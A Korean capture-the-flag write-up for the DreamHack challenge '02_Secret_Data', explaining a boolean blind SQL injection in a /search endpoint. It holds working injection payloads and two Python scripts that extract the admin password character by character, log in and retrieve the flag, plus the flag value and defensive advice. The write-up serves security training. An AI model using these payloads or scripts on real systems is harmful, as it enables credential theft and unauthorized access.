DreamHack 02_Secret_Data 풀이
문제 구조 파악
제공된 소스코드(deploy/app.py)를 열면 라우트가 세 개다.
| 경로 | 역할 | SQL 처리 방식 |
|---|---|---|
/search | 데이터 검색 | 문자열 직접 결합 (취약) |
/login | 관리자 로그인 | 파라미터 바인딩 (안전) |
/admin | 플래그 출력 | 로그인 세션 필요 |
핵심 취약 코드는 아래 형태다.
sql = f"SELECT COUNT(*) FROM secret_data WHERE title LIKE '%{query}%'"
query가 SQL 문맥에 그대로 삽입된다. 응답은 "Found / Not Found" 두 가지뿐이라 직접 데이터를 볼 수는 없지만, 참/거짓 분기가 명확하므로 Blind Boolean SQLi로 비밀번호를 한 글자씩 뽑을 수 있다.
Step 1 — 서비스 구조 확인

상단 내비게이션에 Search와 Admin Login 두 진입점이 보인다. Search가 외부에 노출된 유일한 입력 포인트다.
Step 2 — /search 기본 동작 확인

/search는 키워드를 받아 DB에서 제목을 LIKE 검색한다. 응답 메시지만으로 일치 여부를 알 수 있어 블라인드 공격에 최적이다.
Step 3 — 정상 검색: 기준선(Baseline) 확인

아무 매칭이 없는 키워드 test를 넣으면 Not found 메시지가 반환된다. 이게 "거짓(False)" 상태의 기준선이다.
Step 4 — Boolean TRUE Payload: SQLi 동작 확인
ZZZ' OR 1=1-- -

1=1은 항상 참이므로 WHERE 조건 전체가 참이 돼 Found 응답이 돌아온다. SQLi가 동작한다는 직접 증거다.
Step 5 — Boolean FALSE Payload: 대조 확인
ZZZ' OR 1=2-- -

1=2는 항상 거짓이므로 다시 Not found로 돌아온다. 참/거짓 응답이 명확히 구분되므로 이제 서브쿼리 조건을 끼워 넣으면 된다.
Step 6 — Blind Boolean으로 admin 비밀번호 추출
참/거짓 분기를 이용해 비밀번호를 한 글자씩 특정한다.
비밀번호 길이 확인:
ZZZ' OR (SELECT length(password) FROM users WHERE username='admin')=16-- -
문자 하나씩 추출 (이진 탐색으로 속도 개선 가능):
ZZZ' OR (SELECT substr(password,1,1) FROM users WHERE username='admin')='b'-- -
ZZZ' OR (SELECT substr(password,2,1) FROM users WHERE username='admin')='7'-- -
...
실제 페이로드를 넣으면 아래처럼 서버가 Found 응답을 돌려준다 — 이 문자가 맞다는 신호다.

이 과정을 자동화하면 아래 코드 한 번으로 비밀번호 전체를 뽑을 수 있다.
import requests, string
BASE = "http://host3.dreamhack.games:23148"
def query(payload):
r = requests.post(f"{BASE}/search", data={"query": payload}, timeout=10)
return "Found" in r.text
# 1) 비밀번호 길이 확인
length = 0
for i in range(1, 64):
p = f"ZZZ' OR (SELECT length(password) FROM users WHERE username='admin')={i}-- -"
if query(p):
length = i
break
print(f"[*] password length: {length}")
# 2) 한 글자씩 추출
chars = string.ascii_lowercase + string.digits
password = ""
for pos in range(1, length + 1):
for c in chars:
p = (
f"ZZZ' OR (SELECT substr(password,{pos},1) "
f"FROM users WHERE username='admin')='{c}'-- -"
)
if query(p):
password += c
print(f" pos {pos} -> {c} (so far: {password})")
break
print(f"[+] admin password: {password}")
16번 반복 후 추출 완료:
admin password: b7c06238243ba531
Step 7 — 로그인 → /admin 플래그 획득

추출한 비밀번호로 로그인을 시도한다: admin / b7c06238243ba531

로그인 직후 Admin Panel로 리다이렉트되며 CONFIDENTIAL FLAG 섹션에 플래그가 표시된다.
최종 플래그
DH{94c83b97d2292c64d964f68e5ccf4ec9}
공격 흐름 요약
/search 검색 쿼리
→ 문자열 결합 취약점 확인 (Step 3~5)
→ 서브쿼리로 users 테이블 접근
→ 비밀번호 16자 추출 (Step 6)
→ /login으로 admin 인증
→ /admin에서 플래그 획득 (Step 7)
방어 방법
- Prepared Statement 강제 — 검색 LIKE도 예외 없이 파라미터 바인딩
- 에러 및 응답 차이 최소화 — Found/Not Found 같은 이진 응답도 블라인드 공격 채널이 됨
- 관리자 페이지 접근 통제 강화 — 세션 외에 IP/2FA 추가 레이어 권고
Full Exploit — URL 하나로 플래그까지
아래 코드는 URL만 넘기면 ① SQLi 동작 확인 → ② admin 비밀번호 추출 → ③ 로그인 → ④ /admin 플래그 획득까지 자동으로 실행한다.
#!/usr/bin/env python3
"""
DreamHack 02_Secret_Data — Full Blind SQLi Exploit
Usage: python3 exploit.py http://host3.dreamhack.games:23148
"""
import sys
import string
import requests
def exploit(base: str):
session = requests.Session()
# ── 1) SQLi 동작 확인 ──────────────────────────────────────────
def sqli(payload: str) -> bool:
r = session.post(f"{base}/search", data={"query": payload}, timeout=10)
return "Found" in r.text
true_test = "ZZZ' OR 1=1-- -"
false_test = "ZZZ' OR 1=2-- -"
assert sqli(true_test), "SQLi TRUE 테스트 실패 — 취약점 없거나 URL 확인 필요"
assert not sqli(false_test), "SQLi FALSE 테스트 실패 — 응답 구분 불가"
print("[+] SQLi 동작 확인 완료")
# ── 2) admin 비밀번호 길이 확인 ────────────────────────────────
length = 0
for i in range(1, 128):
p = (
f"ZZZ' OR (SELECT length(password) FROM users "
f"WHERE username='admin')={i}-- -"
)
if sqli(p):
length = i
break
if not length:
sys.exit("[-] 비밀번호 길이 추출 실패")
print(f"[+] 비밀번호 길이: {length}")
# ── 3) 비밀번호 문자 추출 (이진 탐색으로 속도 개선) ─────────────
chars = string.ascii_lowercase + string.digits + string.ascii_uppercase + string.punctuation
password = ""
for pos in range(1, length + 1):
lo, hi = 32, 126 # ASCII printable 범위
found_char = None
while lo <= hi:
mid = (lo + hi) // 2
p = (
f"ZZZ' OR (SELECT unicode(substr(password,{pos},1)) "
f"FROM users WHERE username='admin')>{mid}-- -"
)
if sqli(p):
lo = mid + 1
else:
hi = mid - 1
# lo == 정확한 ascii 코드
found_char = chr(lo)
password += found_char
print(f" pos {pos:>2} -> {found_char} ({password})")
print(f"[+] admin password: {password}")
# ── 4) 로그인 ─────────────────────────────────────────────────
r = session.post(
f"{base}/login",
data={"username": "admin", "password": password},
timeout=10,
allow_redirects=True,
)
if "Login successful" not in r.text and "Admin Panel" not in r.text:
# fallback: 추출 비밀번호가 대소문자 구분 문제인 경우 재시도
sys.exit(f"[-] 로그인 실패 (password={password})")
print("[+] 로그인 성공")
# ── 5) /admin 플래그 획득 ─────────────────────────────────────
r = session.get(f"{base}/admin", timeout=10)
import re
m = re.search(r"DH\{[^}]+\}", r.text)
if m:
print(f"\n[FLAG] {m.group(0)}")
else:
print("[-] 플래그 패턴 미발견 — /admin 응답 내용 확인 필요")
print(r.text[:500])
if __name__ == "__main__":
url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://host3.dreamhack.games:23148"
exploit(url)